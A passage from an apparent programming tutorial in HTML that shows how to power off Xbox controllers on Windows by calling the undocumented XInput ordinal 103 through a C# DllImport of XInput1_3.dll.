<span class="token return-type class-name">DWORD</span> <span class="token function">XInputWaitForGuideButton</span><span class="token punctuation">(</span><span class="token class-name">DWORD</span> dwUserIndex<span class="token punctuation">,</span> <span class="token class-name">DWORD</span> dwFlag<span class="token punctuation">,</span> unKnown <span class="token operator">*</span>pUnKnown<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token preprocessor property"># 102:</span>
<span class="token return-type class-name">DWORD</span> <span class="token function">XInputCancelGuideButtonWait</span><span class="token punctuation">(</span><span class="token class-name">DWORD</span> dwUserIndex<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token preprocessor property"># 103:</span>
<span class="token return-type class-name">DWORD</span> <span class="token function">XInputPowerOffController</span><span class="token punctuation">(</span><span class="token class-name">DWORD</span> dwUserIndex<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>The script or executable simply invoke ordinal 103 with the index of the XBox controller.</p>
<pre class="language-csharp"><code class="language-csharp"> <span class="token punctuation">[</span><span class="token attribute"><span class="token class-name">DllImport</span><span class="token attribute-arguments"><span class="token punctuation">(</span><span class="token string">"XInput1_3.dll"</span><span class="token punctuation">,</span> CharSet <span class="token operator">=</span> CharSet<span class="token punctuation">.</span>Auto<span class="token punctuation">,</span> EntryPoint <span class="token operator">=</span> <span class="token string">"#103"</span><span class="token punctuation">)</span></span></span><span class="token punctuation">]</span>
<span class="token keyword">internal</span> <span class="token keyword">static</span> <span class="token keyword">extern</span> <span class="token return-type class-name"><span class="token keyword">int</span></span> <span class="token function">FnOff</span><span class="token punctuation">(</span><span class="token class-name"><span class="token keyword">int</span></span> i<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>And then invoking <code>FnOff(0)</code></p>
<p>To turn off multiple controllers you would simply invoke <code>FnOff(1)</code> and 2 and so on.</p>